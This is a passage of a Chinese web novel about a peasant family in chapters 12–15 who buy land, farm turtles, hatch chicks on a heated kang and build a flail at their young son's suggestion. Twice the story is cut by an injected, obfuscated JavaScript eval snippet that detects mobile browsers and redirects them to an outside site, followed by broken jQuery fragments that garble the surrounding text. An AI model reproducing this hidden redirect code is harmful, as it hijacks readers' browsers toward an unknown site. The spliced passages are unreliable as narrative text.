而那废弃的池塘,连着旁边的荒地,没人要,作为村里的荒地,村长赵大生可以做主,索性半卖半送给了赵来贺,下午跟周家人,还有村长一起去衙门改地契后,这事就定下来了。 晚上,巧娘一咬牙宰了一只兔子,好好庆祝了一番。 “如今咱们家就有八亩地了。”赵来贺打了点酒回来,今天高兴,便多喝了两杯,脸上发热,心里更热。 这一回一下子去了五十五两银子,加上盖房子拉材料的花费,他们家的家产顿时有只剩下十两银子左右了。 不过无论是赵来贺还是柳巧娘,都是不着急的,如今他们有赚钱的法子,就算养鸡不成,还能进山。 赵来贺已经决定过几日便上山了。 村里人家,人口少的,有五亩地这日子就能过得去了,以前没分家的时候,老赵家是拥有十五亩地的人家,在村里算是富裕了,不然也不会供得起一个读书人,只是后面孩子多了,一下多了好几张嘴吃饭,这才渐渐难了起来,这日子难了,事情就多了,各房便有各自的打算,这才闹着分了家。 分了家后,每个儿子都分了三亩地,两个老人自己捏着三亩地。 只是凭着这三亩四亩地,要养活一家人,还是有些捉襟见肘的,是以,前面虽然说要养鸡、养甲鱼,却都不能给赵来贺夫妻带来安全感,如今地契拿到手了,轻飘飘的几张纸,夫妻两却觉得踏实极了。 而另外一头,王三娘回到家里,白天的时候套了公婆的话,总觉得不放心,等赵来金回来,立马拉着他,说了白天听来的事。 “……你说,万一老三还想再读……我问过爹娘的意思,只说老三已经在找活干了,只是不好找,你说怎么就不好找了,县城里那么多铺子呢,爹不是说了吗,那 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“......也别说是我们做兄嫂的不讲人情,都已经分家了,还住一起像什么话?以往我们省吃省喝供人家读书,这么多年来没吃着他半粒米、半颗糖的,可是爹娘疼儿子,我们孝敬爹娘,也就不说什么了,只是现如今家也分了,还这样掰扯不清地凑在一起也没什么意思,要是三弟三弟妹想孝敬爹娘,大可往后多来老宅看看爹娘,送上几件衣裳再送几碗肉也就是了。” 巧娘拎着羊肉正犹豫着,刚巧王三娘瞧见了她,以及她手上的肉,当即就双眼放光了,大跨步来到巧娘面前接过她手上的肉,笑得不见眼睛:“哎呀,四弟妹你这是做什么,又送肉来孝敬爹娘了,可真是的,前几天送来的兔子还没吃完呢!” 谁都知道王三娘在点三房呢。 张氏叹了口气,拉着巧娘去了一边。 陈莲抹着眼泪,两个女儿一左一右靠着她低着头,赵来庆一脸羞愤。 赵老头看了眼大媳妇,看向了大儿子,“老大,你怎么说?” 赵来金沉默,王三娘冷笑,继续,“爹你见识多,前头你是不是就说了,说三弟是有大本事的读书人,自然是有好的去处的?” 赵老汉一时无语,又是气媳妇不近人情,又是气三儿子不成器,散了瞧热闹的众人后,第二天竟直接压着人去了县城。 这一番是废了几日功夫,也终于找到了一份差事,县城钱员外在县城外的庄子上,有个账房因事回乡去了,刚好要招个识字的,那大管事一听读过书,还是个童生,让写了几个字,当即就留了人下来,一个月能给三百文。 不过几日,赵老三一家便也搬出去了,王三娘心里舒坦,连赵三找了个三百文工钱的活都不羡慕了,甚至连续几日来村西头这边帮忙做给上工的人做饭。 只是几日后,一听说赵四家买了五亩地,王三娘当即脸都黑了,狠狠吃了一顿肉菜后,回去再也没来了。 这是后话。 12. 农家日常 买好了地后,赵来贺就带着赵丰年去地里看了一圈。 五亩地都是旱地,许是王家做生意疏忽了地里,又可能是这地实在太薄,就算精心伺候也种不出东西来,如今五亩地大部分竟都荒着,只有小半亩稀稀疏疏地种着小麦,就算如此,那小麦杆子瘦弱得仿佛被风一吹就要倒下了。 难怪古时候地广人稀,却依旧养不活自己,除了各种苛捐杂税缘故,这产量怕是要占一半。 地不着急种下去,但是肥可以准备堆起来了。 当天晚上,赵丰年就介绍了土坑堆肥法。 本来以为要废一番唇舌,结果无论是赵来贺还是柳巧娘,都对有了“老神仙”教导的赵丰年深性不疑,当即准备第二天开始就去找地方先把坑挖起来。 “再过段日子那半亩的小麦也可以收了,麦秸就也有了,不过那什么石灰石……” 赵丰年想了想,“爹,过两天你去镇上或县城药铺找找,这石灰石,也许叫石粉,也是一种药材,药铺应该有货源,就说我们想多买点屋前屋后驱虫。” 赵来贺连忙应下,又犹豫道,“我想着,这事虽不瞒着人,但也不能逢人就说,咱们是知道法子,也想着好好去做这桩事,却是不知道具体能有多大成效的,自家的地是无妨碍,只是旁人倘若学了去,又学不好,到时候庄稼坏了,岂不是都要怪到咱们头上,这可不行!” “是了是了,便是咱们也是头一回做,哪里还能当人家师傅不成,倒不是不相信‘老神仙’,只是这地里的事,那是再小心也不为过的。” 这话倒是提醒赵丰年了。 “爹,就照您想的来,咱们便光明正大的做,倘若旁人问起来,也不用藏着掖着,村里人不知道这种法子,就算看到了,也不敢轻易用在地里,等后面咱们家做出了成效,再让村长出面就是了,如今,便等屋子起好了后再开始做吧。” 五月中旬,赵丰年家的房子完工了。 柳老头跟柳大挑了个吉利日子,把一屋子家具都送了过来。 父子俩特意借了辆牛板车,拉了两趟才拉完,一路上瞧热闹的人没一个不羡慕的,到了赵家村,更是引起了轰动,就没有不眼热的,直说赵老四有个好外家。 赵来贺自然不能白占岳家的便宜,第二天一早去上山猎了两只山鸡,并着六只肥兔子,自打有了弩箭,这打猎的事越发轻松了。 从山上下来,赵来贺还有精神跑了一趟县城,打了两壶酒,又买了些糕点,亲自跑了一趟柳河村,请岳家全家都上家去喝酒。 庄户人家不讲究个请帖,都是上门喊人,打个招呼的事。 搬新家这样的喜事,柳家自然应下不提。 赵来贺是真开心,一连几天跑了几家长辈,跟同村的打过招呼,又带着赵丰年改良的弩箭工具,一头扎进了山林。 巧娘只依旧每天送儿子去私塾,顺路在几个村里买了点鸡蛋,她琢磨着这事能成,便多买了些鸡蛋。眼瞅着笼子就不够用了,还得多编几个。 第二天天刚蒙蒙亮,赵来贺不等洗漱,便扛着一头鹿上了镇子。 这一去,便到了中午才回来。 为了等他,晌午饭是吃得有些晚,豆饭,炖的是兔肉。 “再有一个时辰宝儿该回来了,给宝儿留点菜垫垫肚子,顾秀才家的饭食怕又是稀饭呢。” 顾秀才家是管晌午这顿饭的,一个孩子一碗杂粮稀饭,一个水煮菜,一天一文钱,想吃肉,要再加三文钱,不过顾秀才家的学子大多来自顾家村本村,也有几个隔壁村的,孩子们都可以回家吃了再过来,像赵家村隔了好几个村子的,来回耽误时间,也不太方便,就可以选择买些吃食了。 巧娘心疼儿子要来回走五六里路,便交了四文钱,又花了一文,好叫儿子中午能在顾家跟顾秀才的孙子一起休息休息,但顾秀才惜才,又可怜他身体弱年纪小,没叫花这个一文钱,只让顾丰年直接在他家午休。 等到末时,再坐赵来富家的牛车回来。 赵来贺大伯家的孙子,赵来富儿子赵来志跟大胖一个年纪,已经在顾秀才家读了两年书了,赵大伯家有二十亩田,就两个儿子,一个外嫁了的闺女,是以家里田地够吃,手里也有余钱,就是孙辈缘弱些,只有一个孙子一个孙女,是以宝贝得跟什么似的,养得便有些娇气,赵有志不太乐意他们同乘,中午要吃自己带的点心,下午再由他爹或是他爷爷赶着板车把人接回来。 是以柳巧娘早上走路送儿子过去,回来的时候补贴一文钱让堂兄赵来富顺便把儿子一起接回来。 赵来富本不想收,回去后被媳妇金花念叨了一晚上,第二天柳巧娘再给,他就收下了。 “咱们家也该买只牛了,驴子也成,能拉磨又能拉车,今早宝儿又提了自个儿去私塾呢,总借他堂叔家的车也不是个事,上回有志生病没去,宝儿都是自己走回来的,一想到五六里路孩子一个人走回来,我这心里到现在还慌得不成。”也是现在家里光景好了,搁在以前,柳巧娘哪里敢提什么买牛买驴。 上回花了五十两买了地跟池塘那块荒地,这段时间赵来贺进山收获了大概有近三十两,零零总总大概手上还有五十多两,一只牛要十八两,驴子只要十两。 “买驴子吧,手里得留点钱,宝儿读书要花钱买笔墨,还有补药快吃完了,回头要去再配一点。” “那你后天去县城里看看,另外四月出生的那十来只兔子再过些日子也要卖出去了。” 之前猎到了两只带崽的兔子,柳巧娘想着后面要养小鸡,索性先养养兔子试试看,便没有像先前一样放生了。 赵来贺点点头。 这边,赵丰年也坐上了牛拉的板车,今天是赵家大伯来接孙子,赵来富心疼牛,只让两孩子坐着,自个儿在前面拉着绳子,听着儿子叽叽喳喳,倒也得趣。 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“啊,那昨天夫子抽背,你怎么不会,还被顾夫子罚抄书了呢?对了,你书抄完了吗?不会还没有抄完吧?那你每天回去都做什么呢?难道不写大字吗?我每天都要练习五十张大字呢,你一定天天回去玩吧,真羡慕你,不像我,我只爱读书习字。” 眼看着前头的人额角青筋都起来了,赵丰年微微一笑。 听说赵大伯家个个都心疼赵有志,唯独赵来富这个做爹的能对儿子拉下脸,赵来富最大的心愿就是出个读书人,当然最好是出个当官的,因此把所有的宝都压在了儿子身上,虽然平时宠溺,但是涉及读书,那是断不能轻易蒙混过关的。 是以,赵有志几乎是惊恐地望向了他爹,果然—— “赵有志,你就是这么读书的?!从今天开始,你给我每天也写五十张大字,不写完不许睡!” 赵有志“哇”的一声就哭出来了。 赵丰年看着近在咫尺的村口,礼貌告别了大堂伯,一步一个脚印,不急不缓朝家里走去,心里已经在猜想家里今天留的什么饭菜了。 赵丰年回来,先洗手吃了温在灶里的兔肉,这才跟着赵来贺去了池塘。 池塘才到手,赵来贺跟巧娘耐不住那句“五两银一只”,当天就把池子疏通了了一番,后面几天不停地担水蓄水,春季雨多,赶在夏天之前就蓄满了,这才又小心翼翼提前养在水田里隔开的几十只鳖放了进去。 这些鳖从水田里到现在也养了小半个月了。 别看如今成了,但是其中花费的时间精力可不小,又是拉石灰跟泥拌在一块儿暴晒,又是池子底垫石板,完了还要再铺一层淤泥,种水草,放小鱼苗小虾苗,中间还垒了供甲鱼出来晒太阳的长岛,要赵来贺说,难怪这东西能卖这么贵,养起来也忒麻烦,不过看着那池塘小岛上挤着晒太阳的甲鱼,又觉得辛苦都是应该的。 “爹,咱们做个院子吧,把这边池塘,连上那几亩荒地,一起围起来。” “啊?” 13. 农家日常 赵来贺头一回听到儿子这个想法,一时有些不能理解。 村子里也不是没有把地围起来的,不过那大多是菜园子,一来是怕被别人家薅走了,二来也怕被鸡啄掉了,但是把这么一大块地方都围起来,那得用多少竹子啊,怕是他们家竹林不够用的。 “不是用竹子,是用砖垒,我看了一下,这样咱们家右边后边都能围起来,您可以当多了个大菜园子,往后,咱们在荒地那块搭个棚子养鸡,场子大,鸡也能活动来开,旁边就是竹林,可以去里面啄虫吃,再过去便是池塘,能养甲鱼,后边山脚下是咱们家的地,荒地再吝平整一些,直接在平地上晾麦子豆子,一来也不用担心被偷,二来不用担心山上的野猪下来把菜拱了。” 自从前些日子野猪下山进了顾家村伤了人毁了庄稼后,山脚下的地大家都不敢去了,这也是为什么这么长时间没人买这片地的缘故之一了。 也因此,柳巧娘跟赵丰年都不想让赵来贺进山,也是这段时间要花钱,赵来贺也保证会小心,加上有弩箭,否则柳巧娘是再不愿意的。 往后他们家就要靠养鸡,养甲鱼赚钱,不用冒着危险上山,赵来贺思考了片刻,越想越觉得是这么个理儿。 两人往家里赶,又去看了眼堆肥,这才跟柳巧娘说起了这事。 柳家是木匠,柳父去过不少地方,巧娘从小听柳父说外面的故事,有点见识,赵来贺一描述,柳巧娘就明白了。 “这不就是个庄子嘛,像是那些大户人家的庄子,田庄什么的,咱们家可真是,竟都要开始盖田庄了。” 赵丰年一想,也是,这不是田庄是什么。 往后还可以在庄子里再种点瓜果,再挖一口井,那就更方便了,后面庄子上的产出都可以拿到县城,乃至府城去买。 “不过要真盖庄子,咱们还得再攒攒钱,或许要等到秋天,农忙后了。” 那五亩地要重新翻土,还要将肥料拌进去,春耕来不及了,只能等秋收后。 加上今年大家都不知道他们池子里的鳖能卖钱,大概也不会有人来偷,可过了秋天,大家都知道能赚钱了,就这样敞着,不怕人模仿,就怕有人眼红下药。 正巧他们因着喂鳖买了一批鱼苗,村子人都以为养鱼呢,也因为前面就是河,大家真想抓鱼去买的,倒也不是什么难事,也不会太眼红,多半觉得多此一举,倒是便宜了。 第二天就是赵家新屋摆酒席的日子了。 巧娘一大早就忙开了,得亏娘家嫂子夏氏来得早帮忙,否则巧娘一个人怕是手忙脚乱了。 “不是我说,你那几个嫂子真是不像话,还真打算直接来吃现成的不成。” “不来便不来吧,总归我前头也没帮上忙。” 这说的是之前赵家二房新屋摆酒那天,因着要送儿子去私塾,巧娘便去晚了些,结果等她到的时候,王小红拉着一张脸左嘲右讽,话里话外都是她家如今要盖青砖房,看不起二哥家的泥砖房。 巧娘也不是泥人,索性略搭了把手,饭都没吃就直接回去了,后来王小红每每碰到她都拉着一张脸扭头就走,连句话也不说一句。 夏氏后来听说了这事,当时便无语极了。 吃饭的时候,几房倒是一个不落的来了,今天是自家的好日子,巧娘自然不会说什么,只知道内情的夏氏白眼都快翻上天去了。 各自归家后,赵老头就把大儿子二儿子喊过去骂了一顿,也亏三儿子在周员外家的庄子上还没回来。当然,几房的媳妇也是没落下婆母那边的训斥。 这些赵丰年一家都是不知道的,不过即便是知道也不在意了,因为从今天晚上开始,他们家正式启动火炕孵小鸡了。 巧娘一共买了五十个鸡蛋,这些鸡蛋都是种蛋,特意挑的有公鸡的人家买来的,乡下鸡蛋没县城里贵价,一文钱能买两,炕头可就是是二十五文,巧娘摸了摸炕头,刚开始孵,她没经验,生怕凉了热了的。 夫妻俩头一回住新家,第一晚竟是直接睡孵小鸡这屋了,而且看情形,未来很长一段时间都会这样。 赵丰年知道让他们回自己屋睡也是睡不安心,便也没有多劝。 接下来的日子,赵丰年依旧每天去顾家村读书,经过上回,赵有志越发不待见赵丰年,不过也没有再跟他攀比炫耀,倒是省了赵丰年很多麻烦。 为了照顾家里的鸡蛋,巧娘厚着脸皮请赵家大伯家早上送孙子的时候顺便带上赵丰年,还想再塞一文钱,赵来富媳妇很是心动,只是赵大伯大手一挥,免了这一文钱,只让给一文钱,接送一个来回,只说反正家里也要接送小孙子,顺手的事。 这下巧娘才算放下心来,跟赵来贺轮流给鸡蛋翻面。 而山脚下之前堆的肥,近来也陆陆续续下进了地里。 有人见赵来贺担着一担乌漆嘛黑的土翻进豆苗根边上,就问,“来贺,这是哪里挖的土,这样的黑。” 赵来贺笑了笑,“就是些树叶啊土啊河泥什么拌的,这不是地里土薄嘛,想着增增地力。” 那人也笑,“地力那都是定数的,不让、然还分什么上田下田的,不过你别说,你这拌的看上去就是能种出东西来的。” 知道只是客套话,赵来贺也只是笑了笑,没解释。、 先前赵来贺就从村长家借来了牛,已经将山脚下那五亩地犁了几遍,又把枯枝荒草烧了一遍,拌上他的堆肥,腐化了小半个月,别说,这打眼看上去,可太像上等田了,土的颜色都变黑了不少。 等回头再浇上宝儿让做的水肥,这地里的庄稼还不得蹭蹭长。 宝儿说了,这五亩地都种豆子,回头在他们家院子里盖个房子里做豆油、酱油。 赵来贺不知道豆油什么样,但是前头宝儿试做的那小缸,叫什么酱油这些日子好像是说快到了。 赵来贺这里想着,却听见山坡上自家娘子喊他,样子又激动又紧张。 “快,快,他爹,赶紧的,回家去瞅瞅!” 见巧娘这幅模样,赵来贺还有什么不明白的,八成是小鸡苗! 果然,回到家刚进炕屋,就听见了叽叽喳喳的叫声,只见炕上五六只嫩黄色的小鸡仔子正左摇右摆讨食吃呢。 “真,真孵出来了啊!”赵来贺恍恍惚惚。 巧娘抹了抹眼角的泪花花,看着小鸡一脸慈爱,“我翻完蛋正要去编竹笼呢,才编了一半就听见动静了,连忙进屋,果然是孵出来了,你是没看见,刚出来的几只身上都湿漉漉呢,就拿那嘴去啄壳,要不是不能帮忙,我都想上手帮它们把壳剥了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756942|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那可不行,上了手帮它们出来可是要活不成的。” “还用你说,那边是不是又要破壳了?”说话间,左边又有了动静,柳巧娘笑了。 “我再去装点温水来,明天再给吃菜叶子。” 两人看得心头火热,都舍不得离开,竟是连晌午饭都没想起来吃,等赵丰年回到家,没看到人,想到小鸡破壳也就是这几天了,放下书包便去了孵化屋,果然见两人还在围着炕看呢。 一个时辰,几乎出了一半的小鸡,赵来贺夫妻只觉得怎么看都不够看,直到看到赵丰年进来。 “宝儿,咱们的鸡,成了!”赵来贺一个激动,将儿子举了起来。 赵丰年还是头一回体会“飞高高”,却一点也不害怕,只觉得新奇。 看着两张欢喜的笑脸,不由自主的也笑了。 “爹,再来一次?” 又过了两三天,这一批鸡蛋才陆陆续续孵出来,五十个鸡蛋,还剩下十三个没动静,八成是不成了,不过第一次孵鸡蛋就能有这么高的孵化率,夫妻俩已经很满足了,巧娘打定注意等过两天再孵第二批,她如今也算是有了经验了,到时候只会更高。 对此,赵来贺跟赵丰年父子俩表示十分赞同。 又过了五天,除了死了三只,这一批鸡苗还剩下三十四只,而且看上去都很精神,经过一家人的商讨,决定这第一批鸡苗都卖出去,镇上一只鸡苗六文钱,他们家不用运到镇子上去卖,就定五文钱,同村的倒是可以再便宜一文钱,就算都按照四文钱卖,那也有一百三十六文,而他们买种蛋只花了二十五文! 就算加上柴火费,四十文也够了,来回一个月就能赚九十六文! “咱们先攒点钱,把鸡棚盖起来,等到秋收后,再盖庄子围墙,明天我就放出话去,让大家可以来咱们家买鸡苗,再收一批种蛋,这一回咱们孵它个一百只!”柳巧娘这几天又收了一批到蛋,其他人只当她宠儿子,毕竟分家后没分到鸡,宝儿又是个要精细养的孩子,以前就要隔三岔五买鸡蛋补身子呢。 “娘,不如这次孵两百吧,就算附近村里人不要,也可以卖到镇上县城里,镇上跟县城都有做这个的贩子,有些商贩有自己的牛车驴车,可以带去更远的地方卖,这样倒省了我们力气了。” “这,人家能要么?再说,我这刚开始孵的,就成功了一回,万一后面没成......” 赵丰年明白巧娘的顾虑,毕竟这个时代没有温度计,他只告诉了巧娘炕上的温度保持在让手温暖却不过烫,其实多少有些模棱两可,就这样巧娘都能孵出小鸡来,离不开她的细心与耐心。 但是有道是一回生二回熟,他相信巧娘应该可以,就算失败了,如今他们家也承担得起这份损失就是了。 赵丰年将自己的分析告诉夫妻俩,巧娘顿时眼睛都亮了。 “那就定二百!听咱宝儿的。” 就算卖不完,他们自己留着就是,说好的要养着下鸡蛋,回头能给儿子补身体,还能卖鸡蛋呢。 赵来贺眼瞅着母子俩你三言两语就定了二百的鸡蛋,有些咂舌,心想着抽空得去趟山上,多弄点竹子来编笼子,不然后面鸡多了,他们家的竹林怕是不够使,等赚了钱围墙做起来,后面就好了。 14. 农家日常 又过了几日,家里的小鸡崽子彻底坐住了,赵来贺跟巧娘也彻底放下心来。 第一批鸡苗没打算卖出去,于是巧娘又开始收鸡蛋了,这次要收两百个,两文钱一个,两百个鸡蛋要四百文,算是大阵仗了,只一个赵家村是凑不齐这么多的,也是各家养的鸡少,还要挑那养了公鸡的人家,赵来贺跟巧娘跑了几个村子才凑齐。 村里人只当他们收了鸡蛋去县城倒卖,过去也不是没有这样的,县城里的鸡蛋卖得贵一文钱,大家自然乐意攒了背去县城卖给城里人,只是总有那不方便去县城的,便情愿便宜一文让人收了去,多少也能赚一点。 夫妻俩没解释,收完鸡蛋,不多时便又投入了孵小鸡中。 等又过了一个多月,家里便有了两百左右的鸡苗了,除了第一批的三十四只,还剩下一百八十六只,也是时候卖出去了。 在家里商量好价格后,这日早上洗衣服的时候,巧娘特意去了下游,跟村里其他妇人凑在了一块儿,一起聊着家长里短的时候便说起了家里有一百来只鸡苗的事。 “来贺家的,你们哪来的鸡苗?这些日子也没见你家去过县城,咋买这么多呢?” “嗨,哪里是买的,这可是我们家孵出来的,孵出来也有七八天了,眼看着坐住了,我们也养不了那么多,这不,就想着卖出去呢,县城里如今鸡苗是六文钱一只,我家来贺说了,都是一个村里的,你们要是想要啊,给四文就成,外村来的我们可就要收五文了。” 众人刚听到前面那句自家孵的,还没来得及惊讶,听到四文钱一只瞬间就沸腾了。 “他四嫂,你可是说真的?真的四文钱一只?” 巧娘就笑,“还能骗你们不成,就是四文,前些日子我家起新房子,还多亏了大家过来帮忙呢,这不,我们也不忙卖去外村,先紧着问问你们要不要了。” “要要要!怎么不要!” “来贺家的,拿鸡蛋换你买不买?” “自然是买的,大家回头上我家瞧瞧就成。” 一时间,众大婶子小媳妇都纷纷迅速洗完衣服往家赶,得早些告诉家里这事,好拿了钱上村西买鸡苗去啊。 大家有的带着家里人,有的拉着邻居,三五成群来到赵四家,还有人脸上将信将疑,只是当巧娘将装鸡苗的竹笼拎出来,都放在前院排开,看着里面黄灿灿叽叽喳喳叫得响亮的鸡苗,大家再次沸腾了。 “我家要三只!” “我家五只!” “来贺家的,我家要两只!” 巧娘笑道,“大家不要着急,咱们慢慢挑。” 四文钱一只的鸡苗,这样健康活泼,还可以任由自己挑选,要知道,县城卖鸡苗可不能随便挑的。 不到半个时辰,就卖完了三十只鸡苗。 大家都满意。 柳巧娘笑得嘴都合不拢,一个时辰一百二十文铜钱就到手了。 而其他人也很满意,四文钱一只,相当于白赚两文钱呢!而且柳巧娘还说了,她们家要是有种蛋,也可以卖给她,或来换鸡苗。 那些家里只有母鸡的人家有些可惜,而家里养了公鸡母鸡的人家就开心了,把蛋卖出去,这买鸡苗的钱就跟没花似的。 到了下午,又买出去了六十几只鸡苗,居然还有临村的来买,一看就是嫁过来的小媳妇、亲戚刚回家通知的。 只不过外村买就要多花一文钱,是以有亲戚在赵家村的大多是让亲戚代买了。 没过几天,赵家村,甚至附近的几个村子便都知道了赵家村村西头的赵四家卖鸡苗。 不过三天,一百八十二只鸡苗就卖空了,剩下的四只,两只送给了村长家,另外两只赵来贺捎给了柳家。。 后面过来的人都扑了个空。 巧娘只得立马孵第三批,也告诉了大家下次要等八九月了,各村这才没有陆陆续续赶过来。 而这会儿大家才回过神来,这赵四家竟然会孵鸡蛋,而且看上去不是母鸡孵的。 这日赵家老宅饭桌上。 王三娘推了推男人,见男人埋头吃饭,气闷不已。 “如今大家伙都说呢,老四家会孵鸡苗,都不用母鸡,也不知道用什么办法。” 王三娘说完,见没人理睬自己,又说了,“老四也是,这鸡苗又是送柳河村,又是送村长的,留着给外人都不想着爹娘。” 赵老头碗一搁,瞧了她一眼,“那老大家的,你想怎么着?” 因着前些日子赵老头发脾气把兄弟几人都骂了一顿,王三娘这会子还有点怵这个公爹,只是此时见他问起,不像生气的样子,连忙又道,“那法子可是咱们赵家的,老四家拿着卖钱也就算了,怎么着也要孝敬您跟娘啊!” “你这意思,要让老四送钱过来?” 赵来金想拉住媳妇,却没拦住。 “把法子献出来也行啊,那么多人来问鸡苗,要的也多,她柳巧娘就一个人哪里忙得过来,不如教给我们一起帮忙孵小鸡,这样赚了钱也好给爹娘养老不是!” 赵老头看向了赵来金,“老大,这也是你的意思?” 赵来金张了张嘴,到底没说什么。 下一刻,赵老头就摔了碗,将众人吓了一跳。 王三娘脸都白了。 “你们可真是好算计!且不说人老四家自个儿凭本事想出来赚钱本事,凭什么要告诉你们,我跟你娘养老愁什么,我们有地有房,将来你们就多了三亩地,还供不起我们两个老不死的了?老大啊老大,你是长兄,分家的时候谁都看得出来偏着你的,几个弟弟不跟你闹无非是想着你是大哥,将来要奉养父母,可你是怎么想的,撺掇你媳妇来抢你弟弟的谋生手艺?你怎么不想着你那还要吃药念书的侄子呢!” 赵来庆扑通一声跪了下来,王三娘咬咬牙,到底跟着一起跪了。 “老大家的,你也是孩子的娘,如果今天是你有这门手艺,你能轻易交出去?老四家给村长跟外家送鸡苗,那是人情跟感恩,送你送我跟你娘做什么,我们是帮他带孩子了?还是给他送家具了?还是帮他盖房子了?” 张氏叹了口气,将两个惊恐的孙子带了出去。 兄弟不和,是她跟赵老头没教好孩子,可不能让孙子辈也这样。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766446|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,巧娘就送了一篮鸡蛋来。 “想着娘养着几只母鸡,开春才孵了一窝,索性没给您留鸡崽子了,这篮子鸡蛋是这些日子鸡崽子换的,宝儿惦记爷奶呢,如今家里鸡蛋多了,说起前面奶奶给他炖鸡蛋吃,最近从书里学了什么‘百善孝为先’的,要孝敬爷奶吃鸡蛋呢。” 不管是不是孩子的意思,总之东西是实打实的,赵老头跟张氏都十分开心。 张氏关心了一番赵丰年最近的身体,赵老头倒是问了几句读书的事。 “且跟顾秀才读着呢,读得怎么样我们也不懂那读书的事,只不过这孵小鸡的主意,就是宝儿从书里得来的呢。” 张氏惊叹连连,赵老头起了几分兴趣,多问了几句,听完连连点头。 “宝儿是个读书的料子,你们好好养,给他把身体养好了。” 巧娘自是答应不提。 王三娘回来后听二老说了这事,虽然高兴有白得的鸡蛋吃,但是对于孵小鸡的主意是他一个六岁的孩子向出来事是一个字都不信。 “......她柳巧娘给自家孩子脸上贴金呢,也不怕孩子压不压得住,他赵宝儿才上过几日学堂?认识字了么,就想到孵小鸡的事了?咱们大胖比赵宝儿还要多读两个月的书的,怎么从没听他说过书上教孵小鸡呢?” 村里人跟王三娘打听这事的时候,王三娘不屑一顾。 为了求证,还有人问到了陈秀才跟顾老秀才那边,问是不是书里还教怎么孵小鸡,大有如果是真的,就也要把孩子送过来读书的架势。 陈秀才一脸不悦,摇着头直说着“有辱斯文”,便将乡人都赶出了门。 顾家村这边,顾老秀才虽也说书中未见传授孵鸡之法,却也说了书中的知识可融会贯通,肯定了赵丰年的脑瓜子确实聪明伶俐。 于是众人一下子就相信了,赵四家的孵小鸡法子就是人家六岁小孩子想出来的,一时间,孵鸡神童的说法就传开来了。 好处是赵家鸡苗生意更加火热了,坏处是,他们家来不及孵鸡苗买鸡蛋了。 而赵丰年听到大胖远远喊他“孵鸡神童”,才知道他竟然被扣了这么个帽子,一时哭笑不得。 至于大胖,晚上就被他娘骂了一顿。 “他赵宝儿还比你晚读书呢,怎么他就能从书里想出来孵小鸡的法子,你就想不到?” 赵大胖,也就是赵有德,此时苦着一张脸,羞愤不已,“娘,顾秀才不是都说了嘛,宝儿是聪明才能想出来,又不是读了书就能想出来的!你看我三叔,他比我们读的书好要多呢,这么多年,不也没想到嘛!” 赵家三叔的例子十分管用,王三娘顿时觉得十分有道理。 “那确实,他赵来庆都没想到呢。” 赵大胖擦了一把冷汗。 只是,赵大胖轻松过关了,顾家私塾乃至陈家私塾的学子们却面临着父母或亲戚同样的追问而无奈。 等这孵小鸡风波过去,他们也都记住了一个名字——赵丰年。 只是他们不知道,这还只是一个开始,从今以后,这个名字将一辈子都压在他们头上。 15. 农家日常 就在赵家养鸡事业如火如荼的时候,时间转眼就来到了金秋十月,也是这个时候,赵丰年忽然想起了自己忘在了脑后的酱油。 这日搭了赵大伯家的牛车回来,赵丰年见他爹在院里编竹筐,便多看了几眼。 “宝儿回来了,饿了吧?你娘给你在灶上留了两个蛋,趁热吃!” 赵家有竹林,编竹筐的手艺是大小养的,此时赵来贺抬头跟儿子讲话,手上动作不见分毫减慢。 “爹,家里的竹筐不是还有不少?怎么又编起来了?” “嗨,这不是地里的大豆快收了,多编几个到时候好背回来,咱们家门口的场子不够大,这些日子围墙也快起全了,我跟你娘把屋头那边的地再夯平些,回头豆子收了就直接背院子里,也不去挤村里打谷场了,石滚子也就一个,咋们家离那头远,怕是要排后头了,如今多做几个,直接背到院子里,放着,下了雨好方便收了。” 无论是赵来贺还是巧娘,面对孩子的问题从来都不是敷衍了事,他们从很久之前就明白,这辈子有且只会有一个孩子,便想把自己会的所有事情都教给孩子,好让他日后少走一些弯路。 赵丰年很喜欢这种平等又充满耐心的交流。 放下书袋,走到灶屋,只见灶台边上放着一个小木凳,赵丰年轻车熟路踩上去,又打开锅盖,果然见灶里温水坐着一个碗,碗里正是两颗鸡蛋。 赵丰年见两个鸡蛋拿上,从堂屋提了另一个小马扎,又回到了院子里,就坐在赵来贺身边,不紧不慢地剥鸡蛋壳。 第一个送到了赵来贺嘴边,赵来贺没客气,只一口一个就下去了,最近家里鸡蛋吃都吃不完,倒是不用再一个鸡蛋一家人分了。 赵丰年这才开始剥自己那颗。 “爹,用石滚子脱大豆费时又费力,倘若遇上连续阴雨天,岂不是更要耽误功夫?” 赵来贺点头,“是这么个理儿,但是没办法,咱们庄稼汉,靠天吃饭,总有倒霉遇上老天爷不作美的时候。” 赵丰年想了想,进屋取了纸笔,不多时才拿着纸出来。 “爹,你看看,这个东西你会做嘛?” 赵来贺伸头一看,只见一根长杆子,连接着一块由几根短杆子绑着的小板子。 “这是用竹子做的?看上去木头的也可以,管什么用的?” “这个叫做连枷,用木头或是竹子都可以,用来给大豆脱粒的。”连枷在后代已经被机器逐渐取代了,但是在机器出现之前很久一段时间,连枷都是给豆类脱粒的好工具,省时省力。 赵丰年跟赵来贺详细地说明了连枷的结构,包括怎么用,赵来贺听下来眼睛豆放光了。 “好东西啊,如果真的这么好用,到时候我一个人就能整完咱们家所有的大豆!” 